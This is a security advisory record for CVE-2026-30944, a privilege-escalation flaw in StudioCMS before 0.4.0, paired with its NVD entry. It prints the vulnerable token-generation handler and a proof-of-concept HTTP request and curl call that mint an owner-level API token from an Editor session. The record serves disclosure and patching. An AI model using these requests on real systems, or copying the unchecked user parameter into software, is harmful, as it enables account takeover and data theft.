{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "studiocms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-10T18:16:41Z",
    "nvd_published_at": "2026-03-10T18:18:54Z",
    "severity": "HIGH"
  },
  "details": "## Summary\nThe /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation.\n\n## Details\nThe API token generation endpoint accepts a user parameter in the request body that specifies which user the token should be created for. The server-side logic authenticates the session (via auth_session cookie) but does not verify that the authenticated user matches the target user ID nor checks if the caller has sufficient privileges to perform this action on behalf of another user.\nThis is a classic BOLA vulnerability: the authorization check is limited to \"is the user logged in?\" instead of \"is this user authorized to perform this action on this specific resource?\"\n\n#### Vulnerable Code\nThe following is the server-side handler for the POST /studiocms_api/dashboard/api-tokens endpoint:\n**File:** packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (lines 16\u201357)\n**Version:** studiocms@0.3.0\n```\nPOST: (ctx) =\u003e\n    genLogger(\u0027studiocms/routes/api/dashboard/api-tokens.POST\u0027)(function* () {\n        const sdk = yield* SDKCore;\n\n        // Check if demo mode is enabled\n        if (developerConfig.demoMode !== false) {\n            return apiResponseLogger(403, \u0027Demo mode is enabled, this action is not allowed.\u0027);\n        }\n\n        // Get user data\n        const userData = ctx.locals.StudioCMS.security?.userSessionData;       // [1]\n\n        // Check if user is logged in\n        if (!userData?.isLoggedIn) {                                            // [2]\n            return apiResponseLogger(403, \u0027Unauthorized\u0027);\n        }\n\n        // Check if user has permission\n        const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;  // [3]\n        if (!isAuthorized) {\n            return apiResponseLogger(403, \u0027Unauthorized\u0027);\n        }\n\n        // Get Json Data\n        const jsonData = yield* readAPIContextJson\u003c{\n            description: string;\n            user: string;                                                       // [4]\n        }\u003e(ctx);\n\n        // Validate form data\n        if (!jsonData.description) {\n            return apiResponseLogger(400, \u0027Invalid form data, description is required\u0027);\n        }\n\n        if (!jsonData.user) {\n            return apiResponseLogger(400, \u0027Invalid form data, user is required\u0027);\n        }\n\n        // [5] jsonData.user passed directly \u2014 no check against userData\n        const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);\n\n        return createJsonResponse({ token: newToken.key });                     // [6]\n    }),\n```\n**Analysis**\nThe authorization logic has three distinct flaws:\n1. **Insufficient permission gate [1][2][3]:** The handler retrieves the session from ctx.locals.StudioCMS.security and only verifies that isEditor is true. This means any user with editor privileges or above passes the gate. \n2. **Missing object-level authorization [4][5]:** The user field from the JSON payload (line 54) is passed directly to sdk.REST_API.tokens.new() without any comparison against userData (the authenticated caller\u0027s identity from the session at [1]). There is no check such as jsonData.user === userData.id. This allows any authenticated user to specify an arbitrary target UUID and generate a token for that account.\n3. **No target role validation [5]:** Even if cross-user token generation were an intended feature, there is no check to prevent a lower-privileged user from generating tokens for higher-privileged accounts (admin, owner).\n\n## PoC\n**Environment**\nThe following user roles were identified in the application:\n*User ID | Role*\n2450bf33-0135-4142-80be-9854f9a5e9f1 | owner\neacee42e-ae7e-4e9e-945b-68e26696ece4 | admin\n2d93a386-e9cb-451e-a811-d8a34bfdf4da | admin\n39b3e7d3-5eb0-48e1-abdc-ce95a57b212c | editor\na1585423-9ade-426e-a713-9c81ed035463 | visitor\n\n**Step 1 \u2014 Generate an API Token for the Owner (as Editor)**\nAn authenticated Editor sends the following request, specifying the owner user ID in the body:\n```\nPOST /studiocms_api/dashboard/api-tokens HTTP/1.1\nHost: \u003ctarget\u003e\nCookie: auth_session=\u003ceditor_session_cookie\u003e\nContent-Type: application/json\nContent-Length: 74\n\n{\n  \"user\": \"2450bf33-0135-4142-80be-9854f9a5e9f1\",\n  \"description\": \"pwn\"\n}\n```\n**Result:** The server returns a valid JWT token bound to the owner account.\n\n**Step 2 \u2014 Use the Token to Access the API as Owner**\n```\ncurl -H \"Authorization: Bearer \u003cowner_jwt_token\u003e\" http://\u003ctarget\u003e/studiocms_api/rest/v1/users\n```\n**Result:** The attacker now has full API access with owner privileges, including the ability to list all users, modify content, and manage the application.\n\n## Impact\n- **Privilege Escalation:** Any authenticated user (above visitor) can escalate to owner level access.\n- **Full API Access:** The generated token grants unrestricted access to all REST API endpoints with the impersonated user\u0027s permissions.\n- **Account Takeover:** An attacker can impersonate any user in the system by specifying their UUID.\n- **Data Breach:** Access to user listings, content management, and potentially sensitive configuration data.",
  "id": "GHSA-667w-mmh7-mrr4",
  "modified": "2026-03-10T18:45:47Z",
  "published": "2026-03-10T18:16:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30944"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/commit/9eec9c3b45523b635cfe16d55aa55afabacbebe3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/commit/f4a209fc090c90195e2419fff47b48a46eab7441"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withstudiocms/studiocms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms%400.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "StudioCMS has Privilege Escalation via Insecure API Token Generation"
}

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:studiocms:studiocms:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "087DD76D-B0EE-4D64-BDDD-9EDC994C5F1F",
              "versionEndExcluding": "0.4.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "StudioCMS is a server-side-rendered, Astro native, headless content management system. Prior to 0.4.0, the /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user (at least Editor) to generate API tokens for any other user, including owner and admin accounts. The endpoint fails to validate whether the requesting user is authorized to create tokens on behalf of the target user ID, resulting in a full privilege escalation. This vulnerability is fixed in 0.4.0."
    },
    {
      "lang": "es",
      "value": "StudioCMS es un sistema de gesti\u00f3n de contenido sin cabeza, nativo de Astro y renderizado en el lado del servidor. Antes de 0.4.0, el endpoint /studiocms_api/dashboard/api-tokens permite a cualquier usuario autenticado (al menos Editor) generar tokens de API para cualquier otro usuario, incluyendo cuentas de propietario y administrador. El endpoint no valida si el usuario solicitante est\u00e1 autorizado para crear tokens en nombre del ID de usuario objetivo, lo que resulta en una escalada de privilegios completa. Esta vulnerabilidad se corrige en 0.4.0."
    }
  ],
  "id": "CVE-2026-30944",
  "lastModified": "2026-03-17T16:14:35.723",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-10T18:18:54.260",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/withstudiocms/studiocms/commit/f4a209fc090c90195e2419fff47b48a46eab7441"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/withstudiocms/studiocms/releases/tag/studiocms@0.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Vendor Advisory",
        "Exploit"
      ],
      "url": "https://github.com/withstudiocms/studiocms/security/advisories/GHSA-667w-mmh7-mrr4"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-639"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}